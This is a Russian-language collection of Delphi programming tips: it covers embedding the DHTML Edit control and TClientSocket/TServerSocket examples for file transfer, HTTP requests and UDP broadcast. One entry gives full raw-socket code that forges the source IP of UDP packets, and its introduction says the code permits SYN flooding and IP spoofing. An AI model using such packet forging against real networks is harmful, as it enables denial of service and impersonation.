Если у тебя стоит MS Internet Explorer 5, то считай, редактор у тебя в кармане ;-) Дело в том, что вместе с эксплорером идет DHTML -- ActiveX контрол, представляющий собой редактор HTML-ок, покруче, чем FrontPage Express даже, т.к. держит даже стили (.css). Лежит в C:\Program Files\Common Files\Microsoft Shared\Triedit. В Дельфи устанавливается через меню Components|Import ActiveX Control. При распространении своей программы с этим компонентом не забудь, что помимо копирования на машину клиента всех файлов из приведенного выше каталога нужно, чтоб они зарегистрированы были (regsvr32 имяфайла)

Взято с http://delphiworld.narod.ru


HTMLEditor - Краткий обзор

Вступление - загрузка информации.

Часто в своих проектах, там, где нужно дать возможность пользователю редактировать текст, выделять различными шрифтами (стилями, цветами...) отдельные слова и в других подобных случаях, мы используем, чаще всего, TRichEdit. Всем он нравится как редактор?, хорош и удобен он в работе? На эти вопросы каждый ответит по своему, но в принципе, худо-бедно, пользоваться им можно. Можно потому что не видно другой альтернативы. Вернее она есть, и на много удобнее и продвинутее чем Rich'формат - это Html'формат, но он не доступен для визуального редактирования - т.е. для него нет редактора, поддерживающего стили, картинки, таблицы()., вот и получается что оно как бы есть, но его как бы нет. А если бы был (здесь можно помечтать, что с помощью такого редактора можно было бы сделать)? А.если нечто подобное есть, а вы об этом не знаете (здесь можно состроить гримасу удивления и задаться вопросом "зачем такое делать и никому об этом не говорить?")? Короче, альтернатива Rich'формату есть это Html, теперь давайте попробуем найти для него редактор. Но чтобы что-то искать, надо, как минимум, знать что это что-то есть. Когда же я стал искать, то я еще не знал о существовании такого редактора, да вобщем-то и искал не его и обнаружение его - это побочный эффект любопытства.

Куда ты завел нас...?

Что и зачем я искал вам не интересно, а вот что и где я нашел мы сейчас узнаем.

1. Запускаем один экземпляр Delphi (у меня 5-ая версия).
2. В меню-баре выбираем пункт "Component", затем "Import ActiveX Control".
3. В появившемся окне, в списке зарегестрированных ActiveX Control'ов находим строку "DHTML Edit Control..." и выделяем ее (я не обещаю что у всех она будет, но если вдруг не будет попробуйте нажать кнопку "Add" и найти файл "C:\Program Files\Common Files\Microsoft Shared\Triedit\DHTMLED.OCX")..
Результат должен быть примерно следующий:

1. Нажимаем кнопку "Install".
2. В следующем окне выбираем вкладку "Into new package".
3. Выбираем путь куда будет установлен наш ActiveX package и имя для него.

1. Далее жмем "Ok".
2. После долгого раздумья появится окно, в котором нажмите "Compile".

1. После чего в выскочившем сообщении нажмите "Ok".
2. Закройте все с сохранением вашей новой библиотеки.

А теперь в два приема создаем проект и тестируем то что получилось.

1. Создаем новый проект
2. находим палитру компонент "ActiveX", где видим две новые иконки
3. выбираем ту что называется "DHTMLEdit"
4. бросаем ее на форму
5. устанавливаем Align := alClient
6. запускаем проект
7. выделяем текст на странице которую вы сейчас читаете (Ctrl+A) и копируем с нее текст (Ctrl+C)
8. переходим в наш проект
9. ставим в поле курсор (щелкните мышью по полю)
10. нажимаем "Ctrl+V"
11. смотрим и удивляемся.

Текст можно редактировать, выделять, подсвечивать (Ctrl+B, Ctrl+I, Ctrl+U), искать (Ctrl+F), и даже кажется печатать(Ctrl+P) (не уверен так как у меня нет принтера).

А что дальше?

А вот в этом-то вся шутка юмора и заключается... А я не знаю что дальше, точнее как програмно работать с ним - выделять, вставлять рисунки, рисовать таблицы и т.д. Судя по тому что все это он может отображать, он должен и уметь все это создавать, но с разбегу у меня не получилось разобраться. Поэтому, заинтересовавшийся народ, вот вам ребус - работа с html-едитором, взаимодействие его с программой и с пользователем - все это теперь ваша забота, а мы будем ждать появления на страницах "Королевства" от вас статей на этот счет, а я, пардон, отойду в сторону - у меня другие интересы и задачи, я лишь посчитал своим долгом познакомить вас со своей находкой. Единственное только знаю, что его можно использовать и как html-editor, и как html-viewer.

Заключение

Это полностью моя статья, ни на что не претендующая, ни с кого не требующая, ни от куда не списанная (даже упоминаний о DHTMLEdit'оре не где не слышал). Описанный контрол, технической поддержке со стороны автора статьи не подлежит, даже ответов на вопросы по нему не предусматривается. Все. Удачи. Всем пока.

Автор: Алексей Румянцев

Взято с http://delphiworld.narod.ru


Работа с сокетами

Cодержание раздела:

Что такое сокет?
Как передать картинку по сети через ServerSocket?
Как запросить страницу с сайта?
Посылка Raw IP-пакетов
Как послать широковещательный UDP пакет?
Отправка файлов при помощи TClientSocket/TServerSocket Updated!
Как отправить веб форму на сервер?
Использование компонента TServerSocket
Программирование серверов на основе сокетов в Дельфи
Определить, занят ли порт сокета
Где TServerSocket и TClientSocket в Delphi 7?
Использование WSAAsyncSelect в DLL
do an application loader with TCP? New!
CrtSock - модуль для работы с сокетами в Delphi32 New!


Что такое сокет?

Существует мировой стандарт структуры протоколов связи - семиуровневая OSI (Open Systems Interface - интерфейс открытых систем). Hа каждом из уровней этой структуры решается свой объем задач своими методами. Сокеты находятся на так назывемом транспортном уровне - ниже находится сетевой протокол IP, выше - специализированные протоколы сеансового уровня, ориентированные на решение конкретных задач - это всем известные FTP, SMTP, etc.

Если смотреть по сути, сокет - это модель одного конца сетевого соединения, со всеми присущими ему свойствами, и, естественно - возможностью получать и передавать данные. По содержанию - это прикладной программный интерфейс, входящий в состав многих ОС. В семействе Windows - начиная с версии 3.11, и носит название WinSock. Прототипы функций WinSock API находятся в файле winsock.pas. В Delphi есть полноценная инкапсуляция клиентского и серверного сокетов, представленная компонентами TClientSocket и TServerSocket, находящимися на закладке Internet.

Сокеты не обязательно базируются на протоколе TCP/IP, они могут также базироваться на IPX/SPX, etc.

Также Вам следует ознакомиться со списком зарезервированных номеров портов.

Механизм взаимодействия сокетов таков. С одной из двух сторон запускается серверный сокет, который сразу после запуска находится в режиме прослушивания (listening), точнее - ожидания запросов от клиентов. После получения запроса от клиента устанавливается связь, и создается новый экземпляр серверного сокета.

Так как работа с сокетами, это, по сути - операции ввода/вывода, которые бывают синхронными или асинхронными, то и тип работы сокета обладает бывает синхронным или асинхронным. Компоненты TClientSock и TServerSock поддерживают оба режима работы.

Дополнение от Анатолия Подгорецкого:

Когда говорят СОКЕТ то часто не представляют, что это такое. Можно говорить об моделях, об реализациях и так далее. о есть одно простое толкование, применимое для протокола IP. Как известно для взаимодействия между машинами по протоколу IP используются адреса и порты.

Первое на текущий момент представляют из себя 32-x битный адрес, наиболее часто его представляют в символьной форме mmm.nnn.ppp.qqq (адрес разбитый на четыре октета по одному байту в октете и разделеный точками) .

Второе - это номер порта в диапазоне от нуля до 65535

Так вот эта пара и есть сокет (гнездо в в котором расположены адрес и порт).

В процессе обмена как правило используются два сокета - сокет отправителя и сокет получателя.

апример при обращении к моему серверу на HTTP порт сокет будет выглядеть так: 194.106.118.30:80, а ответ будет поступать на mmm.nnn.ppp.qqq:xxx

Взято с http://delphiworld.narod.ru


Как передать картинку по сети через ServerSocket?

Да без проблем. Звиняйте, что на сях, но, тем не менее, на Борланд сях.

Со стороны, откуда посылаем (у нас это клиент), пишем:

TFileStream* str = new TFileStream("M:\\MyFile.jpg",fmOpenRead);
//ИЛИ, если мы работаем без сохранения (тогда не создается файл)
TMemoryStream* str = new TMemoryStream ();
str->Position = 0;
Image1->Picture->Bitmap->SaveToStream(str);
//и, наконец, шлем на сервер битмап
str->Position = 0;
ClientSocket1->Socket->SendStream(str);

Обратите внимание, не забывайте перед каждой операцией с потоком устанавливать позицию в 0!!! Иначе получим не то, что хотелось бы
Ну а со стороны приема (у нас это, соответственно, серверсокет), в событии приема пишем:

int ibLen = ServerSocket1->Socket->ReceiveLength();
char* buf= new char[ibLen+1];
TMemoryStream* str = new TMemoryStream();
str->Position = 0;
ServerSocket1->Socket->ReceiveBuf((void*)buf,ibLen);
str->WriteBuffer((void*)buf,ibLen);
str->Position = 0;
Image1->Picture->Bitmap->LoadFromStream(str);
//или
str->SaveToFile("M:\\MyFile.jpg");

Ну и ессно, как говорит Bigbrother, сделал дело - вызови деструктор! То есть почистить за собой надо, не знаю как в Паскале, но в сях мне надо удалить str и buf.

Автор ответа: TwoK
Взято с Vingrad.ru http://forum.vingrad.ru


Как запросить страницу с сайта?

Это можно сделать с помощью TClientSocket.

unit Unit1;

interface

uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ScktComp;

const Request: AnsiString = 'GET / HTTP/1.1' + #$D#$A +
  'Accept: application/vnd.ms-excel, application/msword, */*' + #$D#$A +
    'Accept-Language: en-us' + #$D#$A +
    'Accept-Encoding: gzip, deflate' + #$D#$A +
    'User-Agent: Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)' + #$D#$A +
    'Host: vingrad.com' + #$D#$A +
    'Connection: Keep-Alive' + #$D#$A + #$D#$A;

type
  TForm1 = class(TForm)
    Skt: TClientSocket;
    Button1: TButton;
    Memo1: TMemo;
    procedure Button1Click(Sender: TObject);
    procedure SktRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure SktConnect(Sender: TObject; Socket: TCustomWinSocket);
  private
{ Private declarations }
  public
{ Public declarations }
  end;

var Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
begin
  Skt.Host := 'vingrad.ru';
  Skt.Port := 80;
  Skt.Open;
end;

procedure TForm1.SktRead(Sender: TObject; Socket: TCustomWinSocket);
begin
  Memo1.Lines.Text := Memo1.Lines.Text + Socket.ReceiveText;
end;

procedure TForm1.SktConnect(Sender: TObject; Socket: TCustomWinSocket);
begin
  Socket.SendText(Request);
end;
end.

Request - это запрос который посылает мой IE5.
В принципе, по протоколу HTTP он может ограничиваться:
'GET / HTTP/1.1'+#13+#13. Если хотите запросить оределенный документ: 'GET /<полный путь> HTTP/1.1'+#13+#13.
Конечно, всегда можно воспользоваться готовыми компонентами.

Автор: Fantasist

{
Присоедините следующий обработчик к Вашему TClientSocket.
Он получает файл с сервера и помещает его в строковую переменную FText string variable. Однако он не убирает заголовок, который так же посылается вебсервером.

Не забудьте задать правильный адрес сервера в объекте Socket. Установите порт 80. А затем откройте его при помощи команды "Socket.Open;".

Автор: E.J.Molendijk
}

Const
  WebPage = '/index.html';
Var
  FText   : String;

procedure TForm1.SocketWrite(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  Socket.SendText('GET '+Webpage+' HTTP/1.0'#10#10);
end;

procedure TForm1.SocketRead(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  FText := FText +  Socket.ReceiveText
end;

procedure TForm1.SocketConnecting(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  FText := '';
end;

procedure TForm1.SocketDisconnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
{ --- }
{ ЗДЕСЬ ВЫ МОЖЕТЕ ОБРАБАТЫВАТЬ ВАШ FText !!! }
{ --- }
end;

procedure TForm1.SocketError(Sender: TObject;
  Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
  var ErrorCode: Integer);
begin
  ErrorCode:=0; { Ошибки игнорируем }
end;

Взято из http://forum.sources.ru


Посылка Raw IP-пакетов

Автор: Erwin Molendijk
Используя данный исходник можно конструировать собственные пакеты содержащие внутри всё, что угодно. Можно самостоятельно указывать в пакете IP-адрес получателя и отправителя, порт назначения и т.д. Если Вы не знаете, что это такое, то лучше не эксперементировать. Единственный недостаток, то, что скорее всего данный пример будет работать только в Windows 2000. Так же исходник позволяет произвести SYN flood и IP spoofing.
Необходимо зайти в систему под Администратором.
Совместимость: Delphi 5.x (или выше)

{
Raw Packet Sender
using: Delphi + Winsock 2

Copyright (c) 2000 by E.J.Molendijk (xes@dds.nl)

----------------------------------------------------------------------
Перед использованием измените значения SrcIP+SrcPort+
DestIP+DestPort на нужные!
----------------------------------------------------------------------

}
unit main;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, OleCtrls, Registry;

Const
  SrcIP       = '123.123.123.1';
  SrcPort     = 1234;
  DestIP      = '123.123.123.2';
  DestPort    = 4321;

  Max_Message = 4068;
  Max_Packet  = 4096;

type

  TPacketBuffer = Array[0..Max_Packet-1] of byte;

  TForm1 = class(TForm)
    Button1: TButton;
    Memo1: TMemo;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
    procedure SendIt;
  end;

// Заголовок IP пакета
type
  T_IP_Header = record
    ip_verlen       : Byte;
    ip_tos          : Byte;
    ip_totallength  : Word;
    ip_id            : Word;
    ip_offset       : Word;
    ip_ttl          : Byte;
    ip_protocol     : Byte;
    ip_checksum     : Word;
    ip_srcaddr      : LongWord;
    ip_destaddr     : LongWord;
  end;

// Заголовок UDP пакета
Type
  T_UDP_Header = record
    src_portno    : Word;
    dst_portno    : Word;
    udp_length    : Word;
    udp_checksum  : Word;
  end;

// Некоторые объявления типов для Winsock 2
  u_char  = Char;
  u_short = Word;
  u_int   = Integer;
  u_long  = Longint;

  SunB = packed record
    s_b1, s_b2, s_b3, s_b4: u_char;
  end;
  SunW = packed record
    s_w1, s_w2: u_short;
  end;
  in_addr = record
    case integer of
      0: (S_un_b: SunB);
      1: (S_un_w: SunW);
      2: (S_addr: u_long);
  end;
  TInAddr = in_addr;
  Sockaddr_in = record
    case Integer of
      0: (sin_family: u_short;
          sin_port: u_short;
          sin_addr: TInAddr;
          sin_zero: array[0..7] of Char);
      1: (sa_family: u_short;
          sa_data: array[0..13] of Char)
  end;
  TSockAddr = Sockaddr_in;
  TSocket = u_int;

const
  WSADESCRIPTION_LEN     =   256;
  WSASYS_STATUS_LEN      =   128;

type
  PWSAData = ^TWSAData;
  WSAData = record // !!! also WSDATA
    wVersion: Word;
    wHighVersion: Word;
    szDescription: array[0..WSADESCRIPTION_LEN] of Char;
    szSystemStatus: array[0..WSASYS_STATUS_LEN] of Char;
    iMaxSockets: Word;
    iMaxUdpDg: Word;
    lpVendorInfo: PChar;
  end;
  TWSAData = WSAData;

// Определяем необходимые функции winsock 2
function closesocket(s: TSocket): Integer; stdcall;
function socket(af, Struct, protocol: Integer): TSocket; stdcall;
function sendto(s: TSocket; var Buf; len, flags: Integer; var addrto: TSockAddr;
  tolen: Integer): Integer; stdcall;{}
function setsockopt(s: TSocket; level, optname: Integer; optval: PChar;
  optlen: Integer): Integer; stdcall;
function inet_addr(cp: PChar): u_long; stdcall; {PInAddr;}  { TInAddr }
function htons(hostshort: u_short): u_short; stdcall;
function WSAGetLastError: Integer; stdcall;
function WSAStartup(wVersionRequired: word; var WSData: TWSAData): Integer; stdcall;
function WSACleanup: Integer; stdcall;

const
  AF_INET         = 2;                // internetwork: UDP, TCP, etc.

  IP_HDRINCL      = 2;                // включаем заголовок IP пакета

  SOCK_RAW        = 3;                // интерфейс raw-протокола

  IPPROTO_IP      = 0;                // dummy for IP
  IPPROTO_TCP     = 6;                // tcp
  IPPROTO_UDP     = 17;              // user datagram protocol
  IPPROTO_RAW     = 255;              // raw IP пакет

  INVALID_SOCKET = TSocket(NOT(0));
  SOCKET_ERROR                  = -1;

var
  Form1: TForm1;

implementation

// Импортируем функции Winsock 2
const WinSocket = 'WS2_32.DLL';

function closesocket;        external    winsocket name 'closesocket';
function socket;            external    winsocket name 'socket';
function sendto;            external    winsocket name 'sendto';
function setsockopt;        external    winsocket name 'setsockopt';
function inet_addr;          external    winsocket name 'inet_addr';
function htons;              external    winsocket name 'htons';
function WSAGetLastError;   external    winsocket name 'WSAGetLastError';
function WSAStartup;        external    winsocket name 'WSAStartup';
function WSACleanup;        external    winsocket name 'WSACleanup';

{$R *.DFM}

//
// Function: checksum
//
// Description:
//    This function calculates the 16-bit one's complement sum
//    for the supplied buffer
//
function CheckSum(Var Buffer; Size : integer) : Word;
type
  TWordArray = Array[0..1] of Word;
var
  ChkSum : LongWord;
  i      : Integer;
begin
  ChkSum := 0;
  i := 0;
  While Size > 1 do begin
    ChkSum := ChkSum + TWordArray(Buffer)[i];
    inc(i);
    Size := Size - SizeOf(Word);
  end;

  if Size=1 then ChkSum := ChkSum + Byte(TWordArray(Buffer)[i]);

  ChkSum := (ChkSum shr 16) + (ChkSum and $FFFF);
  ChkSum := ChkSum + (Chksum shr 16);

  Result := Word(ChkSum);
end;

procedure BuildHeaders(
  FromIP      : String;
  iFromPort   : Word;
  ToIP        : String;
  iToPort     : Word;
  StrMessage  : String;
  Var Buf         : TPacketBuffer;
  Var remote      : TSockAddr;
  Var iTotalSize  : Word
);
Var
  dwFromIP    : LongWord;
  dwToIP      : LongWord;

  iIPVersion  : Word;
  iIPSize     : Word;
  ipHdr       : T_IP_Header;
  udpHdr      : T_UDP_Header;

  iUdpSize    : Word;
  iUdpChecksumSize : Word;
  cksum       : Word;

  Ptr         : ^Byte;

  procedure IncPtr(Value : Integer);
  begin
    ptr := pointer(integer(ptr) + Value);
  end;

begin
   // преобразуем ip адреса

   dwFromIP    := inet_Addr(PChar(FromIP));
   dwToIP      := inet_Addr(PChar(ToIP));

    // Инициализируем заголовок IP пакета
    //
    iTotalSize := sizeof(ipHdr) + sizeof(udpHdr) + length(strMessage);

    iIPVersion := 4;
    iIPSize := sizeof(ipHdr) div sizeof(LongWord);
    //
    // IP version goes in the high order 4 bits of ip_verlen. The
    // IP header length (in 32-bit words) goes in the lower 4 bits.
    //
    ipHdr.ip_verlen := (iIPVersion shl 4) or iIPSize;
    ipHdr.ip_tos := 0;                          // IP type of service
    ipHdr.ip_totallength := htons(iTotalSize); // Total packet len
    ipHdr.ip_id := 0;                  // Unique identifier: set to 0
    ipHdr.ip_offset := 0;              // Fragment offset field
    ipHdr.ip_ttl := 128;              // время жизни пакета
    ipHdr.ip_protocol := $11;          // Protocol(UDP)
    ipHdr.ip_checksum := 0 ;          // IP checksum
    ipHdr.ip_srcaddr := dwFromIP;     // Source address
    ipHdr.ip_destaddr := dwToIP;      // Destination address
    //
    // Инициализируем заголовок UDP пакета
    //
    iUdpSize := sizeof(udpHdr) + length(strMessage);

    udpHdr.src_portno := htons(iFromPort) ;
    udpHdr.dst_portno := htons(iToPort) ;
    udpHdr.udp_length := htons(iUdpSize) ;
    udpHdr.udp_checksum := 0 ;
    //
    // Build the UDP pseudo-header for calculating the UDP checksum.
    // The pseudo-header consists of the 32-bit source IP address,
    // the 32-bit destination IP address, a zero byte, the 8-bit
    // IP protocol field, the 16-bit UDP length, and the UDP
    // header itself along with its data (padded with a 0 if
    // the data is odd length).
    //
    iUdpChecksumSize := 0;

    ptr := @buf[0];
    FillChar(Buf, SizeOf(Buf), 0);

    Move(ipHdr.ip_srcaddr, ptr^, SizeOf(ipHdr.ip_srcaddr));
    IncPtr(SizeOf(ipHdr.ip_srcaddr));

    iUdpChecksumSize := iUdpChecksumSize + sizeof(ipHdr.ip_srcaddr);

    Move(ipHdr.ip_destaddr, ptr^, SizeOf(ipHdr.ip_destaddr));
    IncPtr(SizeOf(ipHdr.ip_destaddr));

    iUdpChecksumSize := iUdpChecksumSize + sizeof(ipHdr.ip_destaddr);

    IncPtr(1);

    Inc(iUdpChecksumSize);

    Move(ipHdr.ip_protocol, ptr^, sizeof(ipHdr.ip_protocol));
    IncPtr(sizeof(ipHdr.ip_protocol));
    iUdpChecksumSize := iUdpChecksumSize + sizeof(ipHdr.ip_protocol);

    Move(udpHdr.udp_length, ptr^, sizeof(udpHdr.udp_length));
    IncPtr(sizeof(udpHdr.udp_length));
    iUdpChecksumSize := iUdpChecksumSize + sizeof(udpHdr.udp_length);

    move(udpHdr, ptr^, sizeof(udpHdr));
    IncPtr(sizeof(udpHdr));
    iUdpChecksumSize := iUdpCheckSumSize + sizeof(udpHdr);

    Move(StrMessage[1], ptr^, Length(strMessage));
    IncPtr(Length(StrMessage));

    iUdpChecksumSize := iUdpChecksumSize + length(strMessage);

    cksum := checksum(buf, iUdpChecksumSize);
    udpHdr.udp_checksum := cksum;

    //
    // Now assemble the IP and UDP headers along with the data
    //  so we can send it
    //
    FillChar(Buf, SizeOf(Buf), 0);
    Ptr := @Buf[0];

    Move(ipHdr, ptr^, SizeOf(ipHdr));      IncPtr(SizeOf(ipHdr));
    Move(udpHdr, ptr^, SizeOf(udpHdr));    IncPtr(SizeOf(udpHdr));
    Move(StrMessage[1], ptr^, length(StrMessage));

    // Apparently, this SOCKADDR_IN structure makes no difference.
    // Whatever we put as the destination IP addr in the IP header
    // is what goes. Specifying a different destination in remote
    // will be ignored.
    //
    remote.sin_family := AF_INET;
    remote.sin_port := htons(iToPort);
    remote.sin_addr.s_addr := dwToIP;
end;

procedure TForm1.SendIt;
Var
  sh          : TSocket;
  bOpt        : Integer;
  ret         : Integer;
  Buf         : TPacketBuffer;
  Remote      : TSockAddr;
  Local       : TSockAddr;
  iTotalSize  : Word;
  wsdata      : TWSAdata;

begin
  // Startup Winsock 2
  ret := WSAStartup($0002, wsdata);
  if ret<>0 then begin
    memo1.lines.add('WSA Startup failed.');
    exit;
  end;
  with memo1.lines do begin
    add('WSA Startup:');
    add('Desc.:  '+wsData.szDescription);
    add('Status: '+wsData.szSystemStatus);
  end;

  try
    // Создаём сокет
    sh := Socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
    if (sh = INVALID_SOCKET) then begin
      memo1.lines.add('Socket() failed: '+IntToStr(WSAGetLastError));
      exit;
    end;
    Memo1.lines.add('Socket Handle = '+IntToStr(sh));

    // Option: Header Include
    bOpt := 1;
    ret := SetSockOpt(sh, IPPROTO_IP, IP_HDRINCL, @bOpt, SizeOf(bOpt));
    if ret = SOCKET_ERROR then begin
      Memo1.lines.add('setsockopt(IP_HDRINCL) failed: '+IntToStr(WSAGetLastError));
      exit;
    end;

    // строим пакет
    BuildHeaders( SrcIP,  SrcPort,
                  DestIP, DestPort,
                  'THIS IS A TEST PACKET',
                  Buf, Remote, iTotalSize );

    // Отправляем пакет
    ret := SendTo(sh, buf, iTotalSize, 0, Remote, SizeOf(Remote));
    if ret = SOCKET_ERROR then
      Memo1.Lines.Add('sendto() failed: '+IntToStr(WSAGetLastError))
     else
      Memo1.Lines.Add('send '+IntToStr(ret)+' bytes.');

    // Закрываем сокет
    CloseSocket(sh);
  finally
    // Закрываем Winsock 2
    WSACleanup;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  SendIt;
end;

end.
Взято из http://forum.sources.ru


Как послать широковещательный UDP пакет?

procedure TMainForm.FormCreate(Sender: TObject);
var Init:TWSAData;
SockOpt:BOOL;
Sock:TSocket;
Target:TSockAddrIn;
begin
WSAStartup($101,Init);
Sock:=Socket(PF_INET,SOCK_DGRAM,IPPROTO_UDP);
SockOpt:=TRUE;
SetSockOpt(Sock,SOL_SOCKET,SO_BROADCAST,PChar(@SockOpt),SizeOf(SockOpt)) ;
Target.sin_port:=htons(8167);//номер порта
Target.sin_addr.S_addr:=INADDR_BROADCAST;
Target.sa_family:=AF_INET;
SendTo(Sock,Data,DataBytes,0,Target,SizeOf(Target));
WSACleanup;
end;

Взято из http://forum.sources.ru


Отправка файлов при помощи TClientSocket/TServerSocket

Автор: M K

На вопрос "Как я могу отправлять файлы через TClientSocket & TServerSocket?" даём наш ответ :)

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ScktComp, ExtCtrls, StdCtrls;

type
  TForm1 = class(TForm)
    Image1: TImage;
    Image2: TImage;
    ClientSocket1: TClientSocket;
    ServerSocket1: TServerSocket;
    Button1: TButton;
    procedure Image1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure ClientSocket1Connect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ServerSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
  private
    { Private declarations }
    Reciving: boolean;
    DataSize: integer;
    Data: TMemoryStream;
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Image1Click(Sender: TObject);
begin
  // Это процедура для открытия сокета на ПРИЁМ (RECEIVING).
  // Button1.Click is this procedure as well.
  ClientSocket1.Active:= true;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  // Открытие ОТПРАВЛЯЮЩЕГО (SENDING) сокета.
  ServerSocket1.Active:= true;
end;

procedure TForm1.ClientSocket1Connect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  // Посылаем команду для начала передачи файла.
  Socket.SendText('send');
end;

procedure TForm1.ClientSocket1Read(Sender: TObject;
  Socket: TCustomWinSocket);
var
  s, sl: string;
begin
  s:= Socket.ReceiveText;
  // Если мы не в режиме приёма:
  if not Reciving then
  begin
    // Теперь нам необходимо получить длину потока данных.
    SetLength(sl, StrLen(PChar(s))+1); // +1 for the null terminator
    StrLCopy(@sl[1], PChar(s), Length(sl)-1);
    DataSize:= StrToInt(sl);
    Data:= TMemoryStream.Create;
    // Удаляем информацию о размере из данных.
    Delete(s, 1, Length(sl));
    Reciving:= true;
  end;
  // Сохраняем данные в файл, до тех пор, пока не получим все данные.
  try
    Data.Write(s[1], length(s));
    if Data.Size = DataSize then
    begin
      Data.Position:= 0;
      Image2.Picture.Bitmap.LoadFromStream(Data);
      Data.Free;
      Reciving:= false;
      Socket.Close;
    end;
  except
    Data.Free;
  end;
end;

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
  ms: TMemoryStream;
begin
  // Клиент получает команду на передачу файла.
  if Socket.ReceiveText = 'send' then
  begin
    ms:= TMemoryStream.Create;
    try
      // Получаем данные на передачу.
      Image1.Picture.Bitmap.SaveToStream(ms);
      ms.Position:= 0;
      // Добавляем длину данных, чтобы клиент знал, сколько данных будет передано
      // Добавляем #0 , чтобы можно было определить, где заканчивается информация о размере.
      Socket.SendText(IntToStr(ms.Size) + #0);
      // Посылаем его.
      Socket.SendStream(ms);
    except
      // Итак, осталось освободить поток, если что-то не так.
      ms.Free;
    end;
  end;
end;

end.
Взято из http://forum.sources.ru

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ScktComp, StdCtrls;

type
  TForm1 = class(TForm)
    ClientSocket1: TClientSocket;
    ServerSocket1: TServerSocket;
    btnTestSockets: TButton;
    procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure ClientSocket1Disconnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ClientSocket1Connect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ServerSocket1ClientConnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure btnTestSocketsClick(Sender: TObject);
  private
    FStream: TFileStream;
    { Private-Deklarationen }
  public
    { Public-Deklarationen }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.ClientSocket1Read(Sender: TObject;
  Socket: TCustomWinSocket);
var
  iLen: Integer;
  Bfr: Pointer;
begin
  iLen := Socket.ReceiveLength;
  GetMem(Bfr, iLen);
  try
    Socket.ReceiveBuf(Bfr^, iLen);
    FStream.Write(Bfr^, iLen);
  finally
    FreeMem(Bfr);
  end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  FStream := nil;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
  if Assigned(FStream) then
  begin
    FStream.Free;
    FStream := nil;
  end;
end;

procedure TForm1.ClientSocket1Disconnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  if Assigned(FStream) then
  begin
    FStream.Free;
    FStream := nil;
  end;
end;

procedure TForm1.ClientSocket1Connect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  FStream := TFileStream.Create('c:\temp\test.stream.html', fmCreate or fmShareDenyWrite);
end;

procedure TForm1.ServerSocket1ClientConnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  Socket.SendStream(TFileStream.Create('c:\temp\test.html', fmOpenRead or fmShareDenyWrite));
end;

procedure TForm1.btnTestSocketsClick(Sender: TObject);
begin
  ServerSocket1.Active := True;
  ClientSocket1.Active := True;
end;

end.

Взято с http://delphiworld.narod.ru


Как отправить веб форму на сервер?

Как отправить вебформу на сервер при помощи TClientSocket (напрямую и через прокси)
{
Copyright (c) 1999 by E.J.Molendijk

Присоедините следующие события к Вашему ClientSocket:
procedure T...Form.ClientSocket1Write;
procedure T...Form.ClientSocket1Read;
procedure T...Form.ClientSocket1Disconnect;
procedure T...Form.ClientSocket1Error;

Так же пример показывает, как направлять передачу через прокси-сервер.

Для отправки на вебсервер используется следующий формат:
Напрямую: 'POST ' + PostAddr + 'HTTP/1.0' + HTTP_Data + Content
Через проксю:  'POST http://' Webserver + PostAddr + 'HTTP/1.0' + HTTP_Data + Content
}

Const
  WebServer = 'www.somehost.com';
  WebPort   = 80;
  PostAddr  = '/cgi-bin/form';

  { Следующие переменные используются только для вебсервера: }
  ProxyServer ='proxy.somewhere.com';
  ProxyPort   = 3128;

  // В заголовке post необходимы некоторые данные
  HTTP_Data =
    'Content-Type: application/x-www-form-urlencoded'#10+
    'User-Agent: Delphi/5.0 ()'#10+    { Отрекламируем Delphi 5! }
    'Host: somewhere.com'#10+
    'Connection: Keep-Alive'#10;

type
  T...Form = class(TForm)
    ...
  private
    { Private declarations }
    HTTP_POST   : String;
    FContent    : String;
    FResult     : String; // Эта переменная будет содержать ответ сервера
  public
    { Public declarations }
  end;

{ Эти функции сделают некоторое url-кодирование }
{ Например.   'John Smith' => 'John+Smith'  }
function HTTPTran(St : String) : String;
var i : Integer;
begin
  Result:='';
  for i:=1 to length(St) do
    if St[i] in ['a'..'z','A'..'Z','0','1'..'9'] then
      Result:=Result+St[i]
    else if St[i]=' ' then
      Result:=Result+'+'
    else
      Result:=Result+'%'+IntToHex(Byte(St[i]),2);
end;

procedure T...Form.ClientSocket1Write(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  // Постим данные
  Socket.SendText(HTTP_POST+FContent);
end;

